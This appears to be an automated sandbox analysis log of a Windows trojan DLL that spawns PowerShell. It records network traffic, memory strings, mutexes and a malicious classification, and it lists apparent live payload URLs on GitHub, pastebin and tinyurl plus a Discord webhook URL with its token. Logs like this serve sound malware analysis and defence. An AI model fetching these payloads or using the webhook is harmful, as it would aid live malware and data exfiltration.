Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 16 Sep 2024 17:32:49 GMTContent-Type: application/jsonContent-Length: 45Connection: closeset-cookie: __dcfduid=b19ec5ec745111efa13b42ae56fae071; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Laxstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 2x-ratelimit-reset: 1726507971x-ratelimit-reset-after: 2via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yF5oGHcD%2BsRxiuFYonTePbVQHFJOUEy%2BITsdsnlYvAKzHUrIS6Xtd6%2F9YruWWWlh5R2YDRP7MF%2F%2BVZ36tJWbMJP2WMCMwpxQddwqE5LtEyvmJM329MZDpO8a3v0n"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: __sdcfduid=b19ec5ec745111efa13b42ae56fae07175b899752e50182a5c7c01da892ba0f829982664687b4555f32aca7a00d952ca; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=LaxSet-Cookie: __cfruid=cdc294da783b55ce65d3d0a7e028cca3a2c3bcee-1726507969; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 16 Sep 2024 17:32:49 GMTContent-Type: application/jsonContent-Length: 45Connection: closeset-cookie: __dcfduid=b1c70f7a745111efa99dc6c10b26afef; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Laxstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 1x-ratelimit-reset: 1726507971x-ratelimit-reset-after: 2via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vhHnCDDHgn%2BmCC%2F6Nr8E%2FKrjHXGfR776%2BvPy9BEevEIdnGA7HWNVLZJlZvxEhSQVoAwxXM6vP3soNZ6JAuY9AgP0eEWIg0vXdYRqgYp0kCjj3y%2F%2Bg0kVg%2B7DrkjW"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: __sdcfduid=b1c70f7a745111efa99dc6c10b26afef20f01330e493900815bf5447df22c533bedfad5241d35dcfb082162ef6c027ad; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax

Source: powershell.exe, 00000006.00000002.2101307847.00000215D3E50000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2311272236.0000027CFCBF0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3571378890.0000027723CA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000006.00000002.1963802605.00000215BD8D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE6532000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301D7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://discord.com
Source: powershell.exe, 00000006.00000002.2084334972.00000215CBE37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2084334972.00000215CBCF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2071829401.0000023310397000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2071829401.0000023310254000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2009816209.0000024637E88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2009816209.0000024637D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.1963802605.00000215BD2B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE5FF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301811000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: powershell.exe, 0000000C.00000002.1950491257.0000024627EF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.1963802605.00000215BD32C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE608B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301889000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629379000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3605560675.0000027725A56000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.3572278727.0000022180226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3607141133.000002185E144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: powershell.exe, 0000000E.00000002.3605560675.0000027725A56000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.3572278727.0000022180226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3607141133.000002185E144000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3612279162.00000209AE857000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
Source: powershell.exe, 00000006.00000002.1963802605.00000215BBC81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE49C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.00000233001E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024627CD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3605560675.0000027725842000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.3572278727.0000022180001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3607141133.000002185DF0F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3612279162.00000209AE631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.1963802605.00000215BCEE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1963802605.00000215BD32C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1963802605.00000215BD290000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1963802605.00000215BBEA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE4C39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE5F52000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE5FD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE6069000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.000002330153B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.00000233017EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301889000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023300405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.00000246292E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024628B1C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024627EF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629379000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com
Source: powershell.exe, 0000000C.00000002.1950491257.0000024628B1C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024627EF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com/yeykydun
Source: powershell.exe, 0000000C.00000002.1950491257.0000024629379000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.000002462809F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com/yk3s8ubp
Source: powershell.exe, 0000000C.00000002.1950491257.0000024628B1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.comX
Source: powershell.exe, 0000000C.00000002.1950491257.0000024627EF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000C.00000002.1949091235.0000024625EC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coG
Source: powershell.exe, 00000008.00000002.2101220186.000002337E1A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coxm
Source: powershell.exe, 00000006.00000002.1963802605.00000215BBC81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE49C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.00000233001E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024627CD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3605560675.0000027725842000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.3572278727.0000022180001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3607141133.000002185DEFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3612279162.00000209AE631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000C.00000002.2009816209.0000024637D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000C.00000002.2009816209.0000024637D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000C.00000002.2009816209.0000024637D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.1963802605.00000215BD8D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1963802605.00000215BC0CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE4E0A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE6532000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301D7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.000002330062A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.000002462811C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com
Source: powershell.exe, 00000006.00000002.1963802605.00000215BD8D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE6532000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301D7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/128528293923992
Source: powershell.exe, 00000006.00000002.1963802605.00000215BD3CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE610A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.000002330192A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629419000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4
Source: powershell.exe, 0000000C.00000002.1950491257.0000024629419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.00000246293FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024628097000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC
Source: powershell.exe, 0000000C.00000002.1950491257.0000024627EF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.1963802605.00000215BCEE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE5552000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.000002330102A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024628B1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000006.00000002.2084334972.00000215CBE37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2084334972.00000215CBCF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2071829401.0000023310397000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2071829401.0000023310254000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2009816209.0000024637E88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2009816209.0000024637D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000C.00000002.1950491257.00000246292E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024628069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: powershell.exe, 00000006.00000002.1963802605.00000215BD290000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1963802605.00000215BC018000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE4C39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE5FD7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.00000233017F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023300578000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.00000246292E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024628069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/sA04Mwk2
Source: powershell.exe, 00000006.00000002.1963802605.00000215BD32C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE608B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301889000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629379000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercont
Source: powershell.exe, 00000006.00000002.1963802605.00000215BD32C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1963802605.00000215BC04E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE4D8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2188855121.0000027CE608B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.0000023301889000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1961634839.00000233005AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.0000024629379000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1950491257.000002462809F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3605560675.0000027725B61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.3572278727.0000022180335000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3607141133.000002185E210000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3612279162.00000209AE962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 0000000C.00000002.1950491257.0000024628069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
Source: powershell.exe, 0000000E.00000002.3605560675.0000027725B61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.3572278727.0000022180335000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3607141133.000002185E210000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3612279162.00000209AE962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49768 version: TLS 1.2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B2D88F6		6_2_00007FFD9B2D88F6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B2D96A2		6_2_00007FFD9B2D96A2

Source: classification engine

Classification label: mal100.troj.expl.evad.winDLL@77/74@4/5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3752:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7336:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7368:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\lUsD8dOCffz6TR7t
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6120:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7892:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_avqzdyxf.aam.ps1

Jump to behavior

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

